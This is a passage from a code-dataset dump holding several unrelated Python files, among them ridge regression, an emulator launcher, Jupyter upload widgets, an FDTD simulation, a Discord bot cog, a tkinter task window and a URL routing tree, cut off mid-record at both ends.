var(xMat, 0)  # calc variance of Xi then divide by it\n    xMat = (xMat - xMeans) / xVar\n    numTestPts = 30\n    wMat = zeros((numTestPts, shape(xMat)[1]))\n    for i in range(numTestPts):\n        ws = ridgeRegres(xMat, yMat, exp(i - 10))\n        wMat[i, :] = ws.T\n    return wMat\n\ndef rssError(yArr, yHatArr):\n    return ((yArr - yHatArr)**2).sum()\n\ndef crossValidation(xArr,yArr,numVal=10):\n    m = len(yArr)\n    indexList = range(m)\n    errorMat = zeros((numVal,30))#create error mat 30columns numVal rows\n    for i in range(numVal):\n        trainX=[]; trainY=[]\n        testX = []; testY = []\n        random.shuffle(indexList)\n        for j in range(m):#create training set based on first 90% of values in indexList\n            if j < m*0.9:\n                trainX.append(xArr[indexList[j]])\n                trainY.append(yArr[indexList[j]])\n            else:\n                testX.append(xArr[indexList[j]])\n                testY.append(yArr[indexList[j]])\n        wMat = ridgeTest(trainX,trainY)    #get 30 weight vectors from ridge\n        for k in range(30):#loop over all of the ridge estimates\n            matTestX = mat(testX); matTrainX=mat(trainX)\n            meanTrain = mean(matTrainX,0)\n            varTrain = var(matTrainX,0)\n            matTestX = (matTestX-meanTrain)/varTrain #regularize test with training params\n            yEst = matTestX * mat(wMat[k,:]).T + mean(trainY)#test ridge results and store\n            errorMat[i,k]=rssError(yEst.T.A,array(testY))\n            #print errorMat[i,k]\n    meanErrors = mean(errorMat,0)#calc avg performance of the different ridge weight vectors\n    minMean = float(min(meanErrors))\n    bestWeights = wMat[nonzero(meanErrors==minMean)]\n    #can unregularize to get model\n    #when we regularized we wrote Xreg = (x-meanX)/var(x)\n    #we can now write in terms of x not Xreg:  x*w/var(x) - meanX/var(x) +meanY\n    xMat = mat(xArr); yMat=mat(yArr).T\n    meanX = mean(xMat,0); varX = var(xMat,0)\n    unReg = bestWeights/varX\n    print (\"the best model from Ridge Regression is:\\n\",unReg)\n    print (\"with constant term: \",-1*sum(multiply(meanX,unReg)) + mean(yMat))\n\nif __name__ == '__main__':\n    lgx = [];lgy = []\n    setDataCollect(lgx,lgy)","sub_path":"Ch08/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"598654323","text":"#!/usr/bin/env python\n\n# First draft of emulator launcher python revision\n\nimport argparse\nimport os\nimport re\nimport readline\nimport sys\nimport settings.emulationstationSettings as esSettings\nimport settings.recalboxSettings as recalSettings\nimport settings.libretroSettings as libretroSettings\nimport generators.libretro.libretroGenerator as libretroGen\nimport controllersConfig as controllers\nimport utils.runner as runner\n\nparser = argparse.ArgumentParser(description='emulator-launcher script')\nparser.add_argument(\"-system\", help=\"select the system to launch\", type=str, required=True)\nparser.add_argument(\"-p1index\", help=\"player1 controller index\", type=int, required=True)\nparser.add_argument(\"-p1guid\", help=\"player1 controller SDL2 guid\", type=str, required=True)\nparser.add_argument(\"-p1name\", help=\"player1 controller name\", type=str, required=True)\nparser.add_argument(\"-p2index\", help=\"player2 controller index\", type=int, required=True)\nparser.add_argument(\"-p2guid\", help=\"player2 controller SDL2 guid\", type=str, required=True)\nparser.add_argument(\"-p2name\", help=\"player2 controller name\", type=str, required=True)\nparser.add_argument(\"-p3index\", help=\"player3 controller index\", type=int, required=True)\nparser.add_argument(\"-p3guid\", help=\"player3 controller SDL2 guid\", type=str, required=True)\nparser.add_argument(\"-p3name\", help=\"player3 controller name\", type=str, required=True)\nparser.add_argument(\"-p4index\", help=\"player4 controller index\", type=int, required=True)\nparser.add_argument(\"-p4guid\", help=\"player4 controller SDL2 guid\", type=str, required=True)\nparser.add_argument(\"-p4name\", help=\"player4 controller name\", type=str, required=True)\n\n\nargs = parser.parse_args()\n\n\n# List libretro with their cores, and default video modes\nlibretro = dict()\nlibretro[\"psx\"] = {'name': 'psx', 'video_mode': 4, 'core': \"pcsx_rearmed\"}\nlibretro[\"snes\"] = {'name': 'snes', 'video_mode': 4, 'core': \"pocketsnes\"}\n\n\nsystem = args.system\n\nplayersControllers = controllers.loadControllerConfig(\n    args.p1index,\n    args.p1guid,\n    args.p1name,\n    args.p2index,\n    args.p2guid,\n    args.p2name,\n    args.p3index,\n    args.p3guid,\n    args.p3name,\n    args.p4index,\n    args.p4guid,\n    args.p4name\n)\n\n\nclass Command:\n    def __init__(self, videoMode, commandline):\n        self.videoMode = videoMode\n        self.commandLine = commandline\n\n# Main Program\n# A generator ill configure its emulator, and return a command\nif system in libretro:\n    command = libretroGen.run(libretro[system], playersControllers)\n    runner.run(command)\n","sub_path":"emulatorlauncher.py","file_name":"emulatorlauncher.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"599247884","text":"import os\nimport pathlib\n\nimport ipywidgets as widgets\nfrom traitlets import Dict\n\nfrom onsei.sentence import Sentence\nfrom onsei.utils import check_wav_content_is_valid\n\n\nclass SampleSelector(widgets.VBox):\n    value = Dict().tag(sync=True)\n\n    def __init__(self, samples, **kwargs):\n        super().__init__(**kwargs)\n\n        self.samples = samples\n\n        self.collection = list(self.samples.keys())[0]\n        self.sentence = list(samples[self.collection].keys())[0]\n\n        self.value = self.selected_sample()\n\n        self.collection_selector = widgets.Dropdown(\n            options=samples.keys(),\n            value=self.collection,\n            description='Collections:',\n            disabled=False,\n            layout=widgets.Layout(width='100%'),\n            )\n        self.collection_selector.observe(self._update_collection, 'value')\n\n        self.sentence_selector = widgets.Dropdown(\n            options=samples[self.collection].keys(),\n            value=self.sentence,\n            description='Sentences:',\n            disabled=False,\n            layout=widgets.Layout(width='100%'),\n            )\n        self.sentence_selector.observe(self._update_sentence, 'value')\n\n        self.children = [self.collection_selector, self.sentence_selector]\n\n    def selected_sample(self):\n        # Empty collection ?\n        if not self.sentence:\n            return {}\n\n        return self.samples[self.collection][self.sentence]\n\n    def _update_collection(self, change):\n        self.collection = change[\"new\"]\n        sentences = list(self.samples[self.collection].keys())\n        with self.sentence_selector.hold_sync():\n            self.sentence_selector.options = sentences\n            self.sentence_selector.value = sentences[0]\n        self.value = self.selected_sample()\n\n    def _update_sentence(self, change):\n        self.sentence = change[\"new\"]\n        self.value = self.selected_sample()\n\n    def set_selection(self, collection, sentence):\n        self.collection = collection\n        self.sentence = sentence\n        self.value = self.selected_sample()\n\n\nclass UploadSample(widgets.VBox):\n    value = Dict().tag(sync=True)\n\n    def __init__(self, samples, my_samples_dir, **kwargs):\n        super().__init__(**kwargs)\n\n        self.samples = samples\n\n        self.basepath = my_samples_dir\n        pathlib.Path(self.basepath).mkdir(parents=True, exist_ok=True)\n\n        self.w_file_upload = widgets.FileUpload(\n            description='Upload WAV file',\n            accept='wav',\n            multiple=False,\n        )\n        self.w_sentence = widgets.Textarea(\n            value='',\n            placeholder='Type the sentence in kanji and kana',\n            description='',\n            disabled=False,\n        )\n        w_button = widgets.Button(description='Add sample', disabled=False)\n        w_button.on_click(self._add_sample)\n\n        self.w_notif = widgets.HTML(value='')\n        self.w_file_upload.observe(self._clear_notif, 'value')\n        self.w_sentence.observe(self._clear_notif, 'value')\n\n        self.children = [\n            widgets.Label(\n                \"Uploaded audio must be WAV format with 1 channel at 16kHz sampling frequency\"),\n            widgets.HBox([\n                self.w_file_upload,\n                self.w_sentence,\n                widgets.VBox([w_button, self.w_notif]),\n            ]),\n        ]\n\n        self.value = {}\n\n    def _clear_notif(self, _):\n        self.w_notif.value = ''\n\n    def _add_sample(self, _):\n        sentence = self.w_sentence.value\n        if not sentence:\n            return\n\n        # Try parsing the sentence to make sure it is valid\n        try:\n            Sentence(sentence)\n        except:\n            import traceback\n            self.w_notif.value = '<span style=\"color:#ff0000;\">Invalid sentence !</span>'\n            print(traceback.format_exc())\n            return\n\n        uploads = list(self.w_file_upload.value.items())\n        # Double-checking with the _counter because sometimes the value is not cleared !\n        if not uploads or self.w_file_upload._counter == 0:\n            return\n\n        filename, upload = uploads[0]\n\n        filepath = os.path.join(self.basepath, filename)\n        content = upload['content']\n\n        try:\n            check_wav_content_is_valid(content)\n        except:\n            import traceback\n            self.w_notif.value = '<span style=\"color:#ff0000;\">Invalid audio format !</span>'\n            print(traceback.format_exc())\n            return\n\n        with open(filepath, 'wb') as output_file:\n            output_file.write(content)\n\n        self.value = {\n            \"filename\": filepath,\n            \"sentence\": sentence,\n        }\n\n        with self.w_file_upload.hold_sync(), self.w_sentence.hold_sync():\n            self.w_file_upload.value.clear()\n            self.w_file_upload._counter = 0\n            self.w_sentence.value = \"\"\n            self.w_notif.value = '<span style=\"color:#00ff00;\">Successful !</span>'\n","sub_path":"onsei/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"248735254","text":"import unittest\nfrom collections import namedtuple\n\nimport numpy as np\n\nimport dw\n\nclass test_chunks(unittest.TestCase):\n\n    def setUp(self):\n\n        self.model = np.arange(6).reshape(-1, 2)\n        self.target = np.array([[4,3], [4,5], [2, 6]])\n        self.distance = np.array([[ 4.47213595,  5.65685425,  5.38516481],\n                                  [ 2.        ,  2.82842712,  3.        ],\n                                  [ 2.        ,  0.        ,  2.23606798]])\n\n        self.min_model_target = np.array([ 4.47213595,  2,  0])\n        self.min_target_model = np.array([ 2, 0, 2.23606798])\n\n        \n\n    def test_dist(self):\n\n        distance = dw.get_distance(self.model, self.target)\n\n        self.assertEqual(distance.all(), self.distance.all())\n\n    def test_min_dist(self):\n\n        min_model_target, min_target_model = dw.get_min_distance(self.distance)\n\n        self.assertEqual(min_model_target.all(), self.min_model_target.all())\n\n        self.assertEqual(min_target_model.all(), self.min_target_model.all())\n\n    def test_min_mean_dist(self):\n\n        mean_min_model_target, mean_min_target_model = dw.get_mean_min_distance(self.distance)\n\n        self.assertEqual(mean_min_model_target, self.min_model_target.mean())\n        self.assertEqual(mean_min_target_model, self.min_target_model.mean())\n\n    def test_main(self):\n        fit = namedtuple(\"fit\", [\"fp\", \"fn\"])\n        fit.fp = self.min_model_target.mean()\n        fit.fn = self.min_target_model.mean()\n\n        fit_main = dw.main(self.model, self.target)\n        self.assertAlmostEqual(fit.fp, fit_main.fp)\n        self.assertAlmostEqual(fit.fn, fit_main.fn)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"114203562","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport regex as re  \n\nclass NLP_Utiliy:\n\n    @staticmethod\n    def regex_format_convertor(string ,split_char):\n        \n        rule = ''\n        for word in string.split(split_char):\n            rule = rule + word + '|' \n    \n        return r'(' + rule[0:-1] + ')'","sub_path":"NLP_Utility.py","file_name":"NLP_Utility.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"119998113","text":"'''\n494. Target Sum\n\nYou are given a list of non-negative integers, a1, a2, ..., an, and a target, S. Now you have 2 symbols + and -. For each integer, you should choose one from + and - as its new symbol.\n\nFind out how many ways to assign symbols to make sum of integers equal to target S.\n\nExample 1:\nInput: nums is [1, 1, 1, 1, 1], S is 3.\nOutput: 5\nExplanation:\n\n-1+1+1+1+1 = 3\n+1-1+1+1+1 = 3\n+1+1-1+1+1 = 3\n+1+1+1-1+1 = 3\n+1+1+1+1-1 = 3\n\nThere are 5 ways to assign symbols to make the sum of nums be target 3.\n'''\nclass Solution(object):\n    def findTargetSumWays(self, nums, S):\n        \"\"\"\n        :type nums: List[int]\n        :type S: int\n        :rtype: int\n        \"\"\"\n        def dfs(level, target, partial, max_positive):\n            if level == len(nums):\n                return 1 if target == 0 else 0\n            if target > max_positive or target < -1 * max_positive:\n                return 0\n            if (level, target) in memo:\n                return memo[(level, target)]\n            res = dfs(level + 1, target - nums[level], partial + [nums[level]], max_positive - nums[level]) + dfs(level + 1, target + nums[level], partial + [-nums[level]], max_positive - nums[level])\n            memo[(level, target)] = res\n            return res\n        memo = {} # cache intermidiate results\n        max_positive = sum(nums)\n        return dfs(0, S, [], max_positive)\n\nif __name__ == '__main__':\n    nums = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n    res = Solution().findTargetSumWays(nums, 0)\n    print(res)\n\n","sub_path":"494_findTargetSumWays.py","file_name":"494_findTargetSumWays.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"240636656","text":"import numpy as np\nimport matplotlib.pyplot as plt\n## only Hx component sees the graphene if we put the sheet along x axis\n\nNx = 200;\nNy = 200;\n## create epsilon\neps = np.ones((Nx, Ny));\n\n##initialize fields\nHx = np.zeros((Nx, Ny));\nHy = np.zeros((Nx, Ny));\nEz = np.zeros((Nx, Ny));\n#spatial steps\ndx = dy = 1;\n\n## COEFFICIENTS FOR SHEET\nsheet_loc_y= 85;\nHx_int_left = np.zeros((Nx,));\nHx_int_right = np.zeros((Nx,));\ntau = 0;\n#time steps\ntsteps = 200;\ndt = 1\nc = 1;\n\n## COEFFICIENTS FOR THE SHEET UPDATE\n\n\nsigma_0 = 0.1;\ndenom = (dx * sigma_0) - dt;\nc1 = (dt) / (dx * sigma_0 - dt);\nc2 = (dt) / (dx * sigma_0 - dt); ## if this is the courant number, there is instability introduced\n\nfe1 = sigma_0 * c1;\nfe2 = sigma_0 * c2;\nfh11 = 1-2.0*c1;\nfh22 = 1-2.0*c2\nfh12 = c1;\nfh21 = c2;\n\n\n## courant constant\ncc = c*dt/min(dx, dy);\nplt.ion()\nfieldAmplitudes = list();\nplt.figure(figsize=(10,10));\ncc = 0.5;\nfor t in range(tsteps):\n    print('t= '+str(t))\n    #update Hz, Ex, Ey\n    #remember the yee grid and integer indexing\n\n    # update H field components\n    deriv_y = np.zeros((Nx, Ny));\n    deriv_x = np.zeros((Nx, Ny));\n    for j in range(Nx):\n        for k in range(Ny):\n            indx = j - 1;\n            indy = k - 1;\n            if (indx < 0):\n                indx = Nx - 1;\n            if (indy < 0):\n                indy = Ny - 1;\n\n            #Ez field yee updates couple into the sheet field\n            if(k == sheet_loc_y):\n                deriv_y[k, j] = +( Hx_int_left[j] - Hx[k-1,j]);\n                deriv_x[k, j] = -(Hy[k, indx] - Hy[k,j]);\n            elif(k == sheet_loc_y+1):\n                deriv_y[k, j] = -(Hx_int_right[j]-Hx[k, j]);\n                deriv_x[k, j] = -(Hy[k, indx] - Hy[k,j]);\n            else:\n                # TEz mode...only transverse x and y E field\n                deriv_y[k, j] = -(Hx[indy, j] - Hx[k, j]);\n                deriv_x[k, j] = -(Hy[k, indx] - Hy[k, j]);\n\n    Ez -= (deriv_x - deriv_y);\n    Ez[100, 100] -= np.sin(2 * np.pi * t / 30) * (dt);\n\n\n    #update H field components\n    Curl_x = np.zeros((Nx, Ny));\n    Curl_y = np.zeros((Nx, Ny));\n    F1n = np.zeros((Nx,));\n    F2n = np.zeros((Nx,))\n    for j in range(Nx): #y axis\n        for k in range(Ny): #x axis;\n            indx = j + 1;\n            indy = k + 1;\n            if (indx > Nx - 1):\n                indx = 0;\n            if (indy > Ny - 1):\n                indy = 0;\n\n            if(k == sheet_loc_y):\n                deriv_x = -(Ez[k, indx] - Ez[k, j]);\n                Curl_x[k, j] = (cc) * (deriv_x);  # curl Hz, dy(Hz) #Hy still exists at sheet loc\n                 # DO NOT UPDATE THE FIELD AT THE SHEET LOC for Hx, IT DOES NOT EXIST\n                ## consider the updates at k = sheet_loc_y, and k = sheet_loc_y+1\n            elif(k == sheet_loc_y+1):\n                deriv_y = -(Ez[indy, j] - Ez[k, j]);\n                deriv_x = -(Ez[k, indx] - Ez[k, j]);\n                Curl_x[k, j]= (cc) * (deriv_x); #curl Hz, dy(Hz)\n                Curl_y[k, j] = (cc) * (deriv_y) ; #cul Hz dx(Hz)\n            else:\n\n                deriv_y = -(Ez[indy, j] - Ez[k, j]);\n                deriv_x = -(Ez[k, indx] - Ez[k, j]);\n                Curl_x[k, j]= (cc) * (deriv_x); #curl Hz, dy(Hz)\n                Curl_y[k, j] = (cc) * (deriv_y) ; #cul Hz dx(Hz)\n\n        F1n[j] = -2 * fe1 * Ez[sheet_loc_y, j] + (fh11 * Hx_int_left[j]) + (fh12 * (Hx_int_right[j]));\n        F2n[j] = 2 * fe2 * Ez[sheet_loc_y+1 + 1, j] + (fh21 * Hx_int_left[j]) + (fh22 * (Hx_int_right[j]));\n        # Ey is at time step n, but the interfaces are at n-1/2\n        Hx_int_left[j] = (1 / (1 - c1 * c2)) * (F1n[j] + c1 * F2n[j]);  # time step to n+1/2 using F1n (at time step n)\n        Hx_int_right[j] = (1 / (1 - c1 * c2)) * (F2n[j] + c2 * F1n[j]);\n        print(np.max(F1n))\n\n\n    Hx += -Curl_y;\n    Hy += Curl_x;\n\n\n\n    #insert point source\n    if(t%2 == 0):\n        # print(np.max(Hx_int_left));\n        # print(np.max(Hx_int_right))\n        # print(np.max(Hx))\n        # print(np.max(Ez))\n        plt.subplot(121)\n        imgplot = plt.imshow(Hy)\n        imgplot.set_cmap('jet')\n        plt.subplot(122)\n        imgplot = plt.imshow(Ez)\n        imgplot.set_cmap('jet')\n        plt.clim([-0.02, 0.02])\n        plt.pause(0.001)\n        plt.clf()\nplt.imshow(Ez)\nplt.figure()\nplt.plot(Ez[:, 50])\n#get a 1D slice of the 2d field\nplt.show()\n","sub_path":"FDTD2D/Graphene/GrapheneSBCTest.py","file_name":"GrapheneSBCTest.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"97208254","text":"## Initialization\nimport discord\nfrom discord.ext import commands\nfrom common import config, embedMessage, category\n\n## Class setup\nclass skip(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n        ## Help stuff\n        self.hidden = False\n        self.category = category.getCategory(self.__module__)\n        self.description = 'Skips this song.'\n        self.usage = f\"\"\"\n        {config.cfg['options']['prefix']}skip\n        \"\"\"\n\n    ## Command defining\n    @commands.command()\n    async def skip(self, ctx):\n        if not ctx.me.voice:\n            embed = embedMessage.embed(\n                title = 'ERROR',\n                description = 'I am not currently in a voice channel.',\n                color = embedMessage.errorColor\n            )\n            await ctx.send(embed=embed)\n            return\n        elif ctx.author.voice.channel != ctx.me.voice.channel:\n            embed = embedMessage.embed(\n                title = 'ERROR',\n                description = 'You must be connected to the same voice channel as the bot to skip.',\n                color = embedMessage.errorColor\n            )\n            await ctx.send(embed=embed)\n            return\n        ctx.voice_client.stop()\n        \n## Allow use of cog class by main bot instance\ndef setup(bot):\n    bot.add_cog(skip(bot))","sub_path":"cogs/Music/skip.py","file_name":"skip.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"207445893","text":"import tkinter as tk\r\nfrom tkinter import messagebox\r\nimport schedule.construct.data_arrange as data\r\n\r\nfrom calendar import monthrange\r\nfrom datetime import date, datetime\r\n\r\n# Author Jadd, Nov 8 2020\r\n# Window for task input\r\n\r\nclass TaskAddition:\r\n\r\n    # Initialize GUI features\r\n    def __init__(self, parent):\r\n        def to_add():\r\n\r\n            if monthrange(self.task_year.get(), self.task_month.get())[1] < self.task_day.get():\r\n                    messagebox.showerror('ERROR', 'The day you have CHOSEN DOES NOT EXIST')\r\n\r\n            else:\r\n                data.write_db(self.task_year.get(), self.task_month.get(), self.task_day.get(),\r\n                              self.start_hour.get()+self.start_minute.get(),self.end_hour.get()+self.end_minute.get(),\r\n                              self.perspective_val.get(), self.category_val.get(), self.task_description.get())\r\n\r\n                self.add_window.destroy()\r\n\r\n        self.real_year = int(date.today().strftime('%Y'))\r\n        self.real_month = int(date.today().strftime('%m'))\r\n        self.real_day = int(date.today().strftime('%d'))\r\n\r\n        self.add_window = tk.Toplevel(parent)\r\n        self.date_container = tk.Frame(self.add_window)\r\n\r\n        self.start_hour = tk.Scale(self.add_window, from_=0, to=2400, resolution=100, orient=tk.HORIZONTAL,\r\n                    highlightthickness=0, length=300, font='verdana 10', bg='#333333', activebackground='#333333',\r\n                    fg='white', width=20, label='Start : Hour ↓↓↓')\r\n        self.start_minute = tk.Scale(self.add_window, from_=0, to=30, resolution=30, orient=tk.HORIZONTAL,\r\n                    highlightthickness=0, length=120, font='verdana 10', bg='#333333', activebackground='#333333',\r\n                    fg='white', width=20, label='Start : Minute↓')\r\n        self.end_hour = tk.Scale(self.add_window, from_=0, to=2400, resolution=100, orient=tk.HORIZONTAL,\r\n                    highlightthickness=0, length=300, font='verdana 10', bg='#333333', activebackground='#333333',\r\n                    fg='white', width=20, label='End : Hour ↓↓↓')\r\n        self.end_minute = tk.Scale(self.add_window, from_=0, to=30, resolution=30, orient=tk.HORIZONTAL,\r\n                    highlightthickness=0, length=120, font='verdana 10', bg='#333333', activebackground='#333333',\r\n                    fg='white', width=20, label='End : Minute↓')\r\n\r\n        self.perspective_label = tk.Label(self.add_window, text='Perspective', font='verdana 10', bg='#333333', fg='white')\r\n        self.perspective_val = tk.StringVar(self.add_window)\r\n\r\n        self.task_perspective = tk.OptionMenu(self.add_window, self.perspective_val, \"LOG\", \"SCHEDULE\")\r\n\r\n        self.category_label = tk.Label(self.add_window, text='Category', font='verdana 10', bg='#333333', fg='white')\r\n        self.category_val = tk.StringVar(self.add_window)\r\n\r\n        self.task_category = tk.OptionMenu(self.add_window, self.category_val, \"PRODUCTIVE\", \"LEISURE\", \"SLEEP\")\r\n\r\n        self.description_label = tk.Label(self.add_window, text='Description', font='verdana 10', bg='#333333', fg='white')\r\n        self.task_description = tk.Entry(self.add_window, highlightthickness=0, width=60, font='verdana 10', bg='#BBB')\r\n\r\n        self.task_month = tk.Scale(self.date_container, from_=1, to=12, resolution=1, highlightthickness=0, length=120,\r\n                            font='verdana 10', bg='#333333', activebackground='#333333', fg='white', width=20,\r\n                            label='Month')\r\n        self.task_year = tk.Scale(self.date_container, from_=2000, to=2100, resolution=1, highlightthickness=0,\r\n                            length=120, font='verdana 10', bg='#333333', activebackground='#333333', fg='white',\r\n                            width=20, label='Year')\r\n        self.task_day = tk.Scale(self.date_container, from_=1, to=31, resolution=1, highlightthickness=0, length=120,\r\n                            font='verdana 10', bg='#333333', activebackground='#333333', fg='white', width=20, label='Day')\r\n        self.add_button = tk.Button(self.add_window, text='ADD', command=to_add)\r\n        self.style()\r\n\r\n\r\n    def style(self):\r\n        self.add_window.title('ADD')\r\n        self.add_window.configure(bg='#333')\r\n        self.add_window.geometry('600x600')\r\n\r\n        self.perspective_val.set(\"LOG\")\r\n        self.task_perspective.config(highlightthickness=0, width=15, font='verdana 10', bg='#777', fg='white')\r\n        self.category_val.set(\"PRODUCTIVE\")\r\n        self.task_category.config(highlightthickness=0, width=15, font='verdana 10', bg='#777', fg='white')\r\n\r\n        self.start_hour.set(100 * int(datetime.now().strftime('%H')))\r\n        self.end_hour.set(100 * int(datetime.now().strftime('%H')))\r\n\r\n        self.task_day.set(self.real_day)\r\n        self.task_month.set(self.real_month)\r\n        self.task_year.set(self.real_year)\r\n\r\n        self.start_hour.pack()\r\n        self.start_minute.pack()\r\n        self.end_hour.pack()\r\n        self.end_minute.pack()\r\n\r\n        self.perspective_label.pack(pady=3)\r\n        self.task_perspective.pack()\r\n\r\n        self.category_label.pack(pady=3)\r\n        self.task_category.pack()\r\n\r\n        self.description_label.pack(pady=3)\r\n        self.task_description.pack()\r\n        self.task_description.focus_set()\r\n\r\n        self.date_container.pack(pady=10)\r\n        self.task_day.pack(side=tk.LEFT)\r\n        self.task_month.pack(side=tk.LEFT)\r\n        self.task_year.pack(side=tk.LEFT)\r\n\r\n        self.add_button.pack()\r\n\r\n","sub_path":"DayLogger/gui/popup/task_addition.py","file_name":"task_addition.py","file_ext":"py","file_size_in_byte":5515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"499131687","text":"# coding: utf-8\n\n# Faça um programa que calcule o fatorial de um número inteiro fornecido pelo usuário. Ex.: 5!=5.4.3.2.1=120\n\nn = int(input(\"Digite um número: \"))\nx = 1\n\nprint(f\"{n}! = \", end=\"\")\n\nfor i in range(n, 0, -1):\n    if i != 1:\n        print(f\"{i}\", end=\" . \")\n    else:\n        print(f\"{i}\", end=\" = \")\n    x *= i\nprint(x)\n","sub_path":"PythonBrasil/03_EstruturaDeRepeticao/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"636521257","text":"#\n# Copyright 2016 The BigDL Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom bigdl.ppml.ppml_context import *\nfrom pyspark import SparkConf\n\nppml_args = {\"kms_type\": \"SimpleKeyManagementService\",\n             \"app_id\": \"123456654321\",\n             \"api_key\": \"123456654321\",\n             \"primary_key_material\": \"/opt/occlum_spark/data/key/simple_encrypted_primary_key\",\n             }\n\nimport sys\nplain_csv_path = sys.argv[1]\nencrypt_output_path = sys.argv[2]\nconf = SparkConf()\nconf.setMaster(\"local[4]\")\nsc = PPMLContext(\"MyApp\", ppml_args, conf)\n# import\nfrom bigdl.ppml.ppml_context import *\n\n# read a plain csv file and return a DataFrame\ndf1 = sc.read(CryptoMode.PLAIN_TEXT).option(\"header\", \"true\").csv(plain_csv_path)\n# write a DataFrame as an encrypted csv file\nsc.write(df1, CryptoMode.AES_CBC_PKCS5PADDING).mode('overwrite').option(\"header\", \"true\").csv(encrypt_output_path)\n","sub_path":"python/ppml/src/bigdl/ppml/utils/encrypt_csv_util.py","file_name":"encrypt_csv_util.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"399294298","text":"m,M=[int(i) for i in input().split(' ')]\r\r\n\r\r\nlimit=int(M**0.5)\r\r\narr=[1]*(limit+1); pn=[2];\r\r\n\r\r\nfor i in range(3,limit+1,2):\r\r\n\tif not arr[i]: continue\r\r\n\tpn.append(i)\r\r\n\tfor e in range(i**2,limit+1,i*2):\r\r\n\t\tarr[e]=0\r\r\n\r\r\n\"\"\"\r\r\nfor index in range(3,int(M**0.5)+1,2):\r\r\n\tif index not in (2,3):\r\r\n\t\tif index%6 not in (1,5): continue\r\r\n\t\tfor i in pn:\r\r\n\t\t\tif index//i==0: continue\r\r\n\tpn.append(index)\r\r\n\r\r\nprint(time.time()-lt)\r\r\n\"\"\"\r\r\n\r\r\narr=[1]*(M-m+1)\r\r\nfor index in pn:\r\r\n\tnum=index**2\r\r\n\tfor i in range(m//num+1 if m%num else m//num,M//num+1):\r\r\n\t\tarr[num*i-m]=0\r\r\nprint(arr.count(1))\r\r\n","sub_path":"BOJ/milkclouds/01016/1016.py3.py","file_name":"1016.py3.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"453754408","text":"import logging\nimport re\nfrom collections import namedtuple, OrderedDict\n\nfrom tangled.converters import get_converter, as_tuple\nfrom tangled.util import load_object\n\nfrom ..abcs import AMountedResourceTree\n\n\nlog = logging.getLogger(__name__)\n\n\nMatch = namedtuple('Match', ('mounted_resource', 'urlvars'))\n\n\nclass MountedResourceTree(AMountedResourceTree):\n\n    def __init__(self, cache_size=64):\n        self.root = Node(None, None)\n        # Simple LRU cache {(method, path) => Match}. Least recently\n        # used item is at front.\n        self.cache = OrderedDict()\n        self.cache_size = cache_size\n\n    def add(self, mounted_resource):\n        tree = self.root\n        segments = mounted_resource.segments\n        add_slash = mounted_resource.add_slash\n        depth = len(segments)\n        for segment in segments:\n            tree.resource_depths.add(depth)\n            if add_slash:\n                tree.resource_depths.add(depth + 1)\n            tree = tree.make_child(segment)\n            depth -= 1\n        assert depth == 0\n        tree.resource_depths.add(0)\n        tree.mounted_resources.append(mounted_resource)\n        if add_slash:\n            tree.resource_depths.add(1)\n            tree = tree.make_child('')\n            tree.resource_depths.add(0)\n            tree.mounted_resources.append(mounted_resource)\n\n    def find(self, method, path):\n        cache_key = method, path\n        if cache_key in self.cache:\n            try:\n                log.debug('Found {} in cache'.format(cache_key))\n                self.cache.move_to_end(cache_key)\n                return self.cache[cache_key]\n            except KeyError:\n                # Key popped from cache by another thread\n                log.warn(\n                    '{} was evicted from cache before it could be used'\n                    .format(cache_key))\n        tree = self.root\n        segments = path.lstrip('/').split('/')\n        height = len(segments)\n        if height not in tree.resource_depths:\n            return None  # Short circuit if a match isn't possible\n        stack = [[{}, 0]]\n        nodes_visited = 0\n        while tree:\n            stack_top = stack[-1]\n            stack_len = len(stack)\n            depth = height - stack_len\n            segment = segments[stack_len - 1]\n            for child in tree.child_list(stack_top[1]):\n                stack_top[1] += 1\n                if depth not in child.resource_depths:\n                    continue  # Short circuit if a match isn't possible\n                nodes_visited += 1\n                match = re.search(child.regex, segment)\n                if match:\n                    stack.append([match.groupdict(), 0])\n                    if len(stack) > height:\n                        for mounted_resource in child.mounted_resources:\n                            if mounted_resource.responds_to(method):\n                                urlvars = {}\n                                for item in stack:\n                                    